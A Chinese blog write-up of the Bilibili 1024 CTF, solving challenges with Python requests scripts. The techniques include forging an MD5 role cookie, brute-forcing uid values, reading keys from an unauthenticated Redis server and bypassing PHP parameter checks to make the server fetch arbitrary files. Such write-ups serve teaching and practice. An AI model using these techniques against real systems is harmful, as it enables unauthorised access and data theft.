【Requests】Bilibili Security 1024程序节 CTF记录

0x00 前言

B站搞了个1024程序员节,看起来是个 toy CTF,有点开心。
于是想到了曾经在CTF和ACM的路口选择了ACM,CTF一直是心中的一点遗憾,想着要不咱……玩玩看?

【写在前面】这次有点意思,可能 flag 是需要和各位自己的 uid 有某些计算的,不同账号同一时间以及相同账号不同时间的答案居然会有不同,看来是为了防止无脑抄袭,至少还是需要用自己的 uid 亲自走一遍流程的,不错不错。

在这里插入图片描述
在这里插入图片描述

0x01 养成看到网页就F12的好习惯

页面的背后是什么?
题目地址: http://45.113.201.36/index.html

说到网页的“背后”,一般想到的就是有东西被隐藏了,我们可以直接审查元素看到果然有个 hidden:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<body>
<div class="banner">
<!--<img src="banner.png" alt="哔哩哔哩" ondragstart="return false;">-->
<img src="api/images?file=banner.png" alt="哔哩哔哩" ondragstart="return false;">
</div>
<div class="content">
<h2>欢迎来到哔哩哔哩星球!</h2>

<section id="getintouch" class="flipInX animated">
<div class="container" style="border-bottom: 0;">
<h1>
<input id="flag1" type="hidden" values="flag1"></input>
<h4 id="flag2"></h4>
</h1>
</div>
<div class="container">
</div>
</section>
</div>
</body>

把 hidden 删掉,或者直接从审查元素里把 flag 拖出来复制就好啦 ~

在这里插入图片描述

0x02 Headers & User Agent

真正的秘密只有特殊的设备才能看到
题目地址: http://45.113.201.36/index.html

页面地址和刚才的一样,说到特殊的设备,我的第一反应其实是“大概要用移动端吧”,所以即便看到了网页源码里没有区分设备的代码,我也抱着“可能有 User Agent 分流的高端操作”的想法用手机看了看。
—— “HTTP 406 请先登陆”
—— “HTTP 403”
哦对不起,看来是我搞错了。
然后我们回到页面上来,有这么一句话叫做:

需要使用bilibili Security Browser浏览器访问~

打开网页的审查元素,我们可以看到:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
$.ajax({
url: "api/ctf/2",
type: "get",
success:function (data) {
//console.log(data);
if (data.code == 200){
// 如果有值:前端跳转
$('#flag2').html("flag2: " + data.data);
} else {
// 如果没值
$('#flag2').html("需要使用bilibili Security Browser浏览器访问~");
}
}
})

简单解释一下就是,我们找一个叫做 “api/ctf/2” 的 API 要答案,如果它认识我们就给,不认识,那就不给。
根据页面的提示来看,我寻思着得用 bilibili 安全浏览器了,但哪有这浏览器呀,那意思是……
User Agent 是 “bilibili Security Browser”?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import requests

headers = {
'Host': '45.113.201.36',
'User-Agent': 'bilibili Security Browser',
# 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36',
'X-Requested-With': 'XMLHttpRequest',
'Connection': 'keep-alive',
# 'Pragma': 'no-cache',
# 'Cache-Control': 'no-cache',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9',
'Upgrade-Insecure-Requests': '1',
'Accept-Encoding': 'gzip, deflate',
'Accept-Language': 'zh-CN,zh;q=0.9,en;q=0.8,zh-TW;q=0.7',
}

s = requests.Session()
url = 'http://45.113.201.36/api/ctf/2'

if __name__ == "__main__":
response = s.get(url=url, headers=headers)
print(response.text)

—— “HTTP 406: 请先登录”

哦哦哦还要登录! 那Cookie也得贴一下(安全起见,我挡一下session):

1
2
3
headers.update{
'Cookie': 'session=eyJ1aWQiOiI1NDc4NDAifQ.abcdef.SEwRNzYMFgFui75321FBJStdQeg'
}

好了拿到了:

1
2
3
4
5
6
>>> print(eval(response.text)["msg"])
请先登录
>>> headers.update({'Cookie': 'session=eyJ1aWQiOiI1NDc4NDAifQ.abcdef.SEwRNzYMFgFui75321FBJStdQeg'})
>>> response = s.get(url='http://45.113.201.36/api/ctf/2', headers=headers)
>>> response.text
'{"code":200,"data":"9535c0a5-41f5074d-44115638-63fa8d2d","msg":""}\n'

0x03 我不承认弱密码是CTF的一种

密码是啥?
题目地址: http://45.113.201.36/login.html

上来就给了一个用户名密码让你填,看了看网页元素。
里面一个 ajax 的意思是对着 api 发送用户名密码,对了给 flag,错了不给。
第一反应尝试了一下 admin/admin,结果不对
然后试了一下 admin/123456,结果也不对
然后看了一下页面上 “二次元” 世界,欢迎来到 “哔哩哔哩星球” ……
在这里插入图片描述
bilibili / bilibili 不对
admin / bilibili 呃…… 对了
这算是个什么题嘛!

0x04 超级管理员有几种写法

对不起,权限不足~
题目地址: http://45.113.201.36/superadmin.html

在这里插入图片描述

看了一眼,这个页面的 get 操作什么都没找我要,那么就是在 header 里做文章了,看了下Cookie分为两个部分,role 和 session,其中 role 是一个32位看起来很像16进制的字符串。
—— 难道这就是 flag?
—— (提交)哦不是
—— 那莫非是 MD5?

在这里插入图片描述
u开头的……四个字符…… 莫不是user吧哈哈哈。
然后试了一下…… 真的是……

1
MD5("user") = ee11cbb19052e40b07aac0ca060c23ee

那我是不是只要用超级管理员的MD5来替换掉这个Cookie里的role就行了?
太简……单……哎?admin 的 MD5 也不对,superadmin 的 MD5 也不对?

1
2
3
4
5
6
7
8
# MD5  
user: ee11cbb19052e40b07aac0ca060c23ee
admin: 21232f297a57a5a743894a0e4a801fc3
bilibili: 130e29f351572e58c49fd4c910d7beb0
superadmin: 17c4520f6cfd1ab53d8745e84681eb49
超级管理员: 302ff00ddb9cb45c970a316e5212bb34
administrator: 200ceb26807d6bf99fd6f4f0d1ca54d4
Administrator: 7b7bc2512ee1fedcd76bdc68926d4f7b

于是实验了如此之多的情况,终于在最后一个超级管理员的单词上得到了正确的 flag(你用这词谁能第一时间想到啊!怒):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
# 省略 10000 字尝试过程
>>> data = {"username": "superadmin"}
>>> data = {"role": "superadmin"}
>>> response = s.get(url='http://45.113.201.36/api/ctf/4', data=data, headers=headers)
>>> response.text
'{"code":"403","data":"","msg":""}\n'
>>> headers.update({
... 'Cookie': 'role=200ceb26807d6bf99fd6f4f0d1ca54d4; session=eyJ1aWQiOiI1NDc4NDAifQ.abcdef.YjyKwfR-LZ6zYDRgjbZyk6PArn0',})
>>> response = s.get(url='http://45.113.201.36/api/ctf/4', data=data, headers=headers)
>>> response.text
'{"code":"403","data":"","msg":""}\n'
>>> response = s.get(url='http://45.113.201.36/api/ctf/4', headers=headers)
>>> response.text
'{"code":"403","data":"","msg":""}\n'
>>> headers.update({
... 'Cookie': 'role=7b7bc2512ee1fedcd76bdc68926d4f7b; session=eyJ1aWQiOiI1NDc4NDAifQ.abcdef.YjyKwfR-LZ6zYDRgjbZyk6PArn0',})
>>> response = s.get(url='http://45.113.201.36/api/ctf/4', headers=headers)
>>> response.text
'{"code":200,"data":"9683e651-a291e88e-056553b8-30141099","msg":""}\n'

0x05 暴力破解真的是一种美学吗

别人的秘密
题目地址: http://45.113.201.36/user.html

在这里插入图片描述

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
   $(function () {

(function ($) {
$.getUrlParam = function(name) {
var reg = new RegExp("(^|&)" + name + "=([^&]*)(&|$)");
var r = window.location.search;
console.log(r);
r = r.substr(1).match(reg);
if (r != null) return unescape(r[2]); return null;
}
})(jQuery);

var uid = $.getUrlParam('uid');
if (uid == null) {
uid = 100336889;
}
$.ajax({
url: "api/ctf/5?uid=" + uid,
type: "get",
success:function (data) {
console.log(data);
if (data.code == 200){
// 如果有值:前端跳转
$('#flag').html("欢迎超级管理员登陆~flag : " + data.data )
} else {
// 如果没值
$('#flag').html("这里没有你想要的答案~")
}
}
})
});

我们可以看到,这题一上来摆明了告诉你我就找你要一个 uid。
没有提供 uid 的情况下会直接用一个默认的(这个默认的 uid 我也去看了,确实应该就是个普通吃瓜观众)
我第一时间实验了 ⑨bishi老爷的uid,已婚的uid,都不对。
然后去看 22娘 33娘 好像也没有官方认证的账号,uid 也无从得知。
那就很无奈的只能暴搜了……

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
from configparser import RawConfigParser

import requests

headers = {
'Cookie': 'role=7b7bc2512ee1fedcd76bdc68926d4f7b; session=eyJ1aWQiOiI1NDc4NDAifQ.X5QVaw.SEwRNzYMFgFui7Tzo1FBJStdQeg',
'Host': '45.113.201.36',
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36',
'X-Requested-With': 'XMLHttpRequest',
'Connection': 'keep-alive',
# 'Pragma': 'no-cache',
# 'Cache-Control': 'no-cache',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9',
'Upgrade-Insecure-Requests': '1',
'Accept-Encoding': 'gzip, deflate',
'Accept-Language': 'zh-CN,zh;q=0.9,en;q=0.8,zh-TW;q=0.7',
}
# self.headers = None

s = requests.Session()
url = 'http://45.113.201.36/api/ctf/5?uid='


if __name__ == "__main__":
# for i in range(10000):
for i in range(100336889, 100337000):
response = s.get(
url=url + str(i), headers=headers)
print(i, response.text)

爆搜到 100336921 的时候出现了 HTTP 200 和 flag 字符串,但我并高兴不起来,我总觉得是不是还有别的方法可以得到这个 uid。(问了下其他人,他们的是 923,而我的是 921,看来答案还具有多样性)

0x06 让我看看题目到底是啥好不好球球了

结束亦是开始
题目地址: http://45.113.201.36/blog/single.php?id=1

从这里开始,题目就不从 start 页面中获得了。
可以认为一条新的线路从这个新的 ip 站点开始了。
——对不起,等我们赶到的时候,这个站点已经连不上,就只剩下这个缓存页面了。

在这里插入图片描述

0x08 你们就不想让这个服务器活着

知道为什么第六题老上不去吗?
因为第八题要扫开放端口。
大家都不知道是哪个端口所以都在扫,这个一般来说叫什么呢?
嗯,叫DDOS。

就不说怎么扫端口了,for 循环挨个试验比较呆,直接告诉你们是 6379 端口。
下载一个Redis客户端:
https://github.com/microsoftarchive/redis/releases

1
2
3
4
5
6
7
8
redis-cli.exe -h 120.92.151.189  -p  6379
(120.92.151.189:6379) > keys *
1) "flag4"
2) "flag5"
...
11) "flag8"
(120.92.151.189:6379) > get flag8
{flag8:d436b982-2b81aa54-49a8d2db-87ab951a}

0x10 你们这套操作是我七夕玩剩下的

七夕的时候给 @ZoeCUR 写了个CTF当礼物(然后被好友喷了个狗血淋头说我是钛合金直男),用的方法和这题几乎完全一样 = =

首先试着打开了 http://120.92.151.189/blog/test.php
看到了一个只由 ![]{} 组成的文本,我第一时间居然去找了猴语解码,是我孤陋寡闻了。询问 dalao 后得知这东西叫 JSFuck 编码……
你们这些写JS的怎么回事?!

总之解码之后可以得到两个字符串:

1
2
"程序员最多的地方"
"bilibili1024havefun"

刚看到这里我就突然有种既视感,别是要在github上找到个文件,然后文件指向一张图片,然后图片里藏了个字符串,然后字符串解码是个七夕祝福视频啊(事实证明除了七夕祝福视频,都一样……)!

在我回头写这篇博客的时候才发现 Github 上蹭热度的人已经把搜索结果污染了 23333,蹭还是你们会蹭,有星吗就蹭?(我的天还真有人拿了三颗,我酸了)
在这里插入图片描述
在这里插入图片描述
我们不管那些蹭热度的,总之真实的文件是这个
https://github.com/interesting-1024/end/blob/main/end.php

文件内容如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php

//filename end.php

$bilibili = "bilibili1024havefun";

$str = intval($_GET['id']);
$reg = preg_match('/\d/is', $_GET['id']);

if(!is_numeric($_GET['id']) and $reg !== 1 and $str === 1){
$content = file_get_contents($_GET['url']);

//文件路径猜解
if (false){
echo "还差一点点啦~";
}else{
echo $flag;
}
}else{
echo "你想要的不在这儿~";
}
?>

里面是一个提示,告诉我们有个叫 end.php 的东西,好我们回头到目标IP的靶机上。照抄学一个 url:

http://120.92.151.189/blog/end.php?id[]=1&url=/api/ctf/6/flag.txt
暂时截不了图……写到这目标网站又连不上了……
总之随便构造,只要满足条件的传参无论你写啥都是能拿到一张图
在这里插入图片描述
CSDN上传的图片是压缩的,图片各位还是得自己下载。
用记事本打开图片的末尾就能看到 Flag:

{flag10:2ebd3b08-47ffc478-b49a5f9d-f6099d65}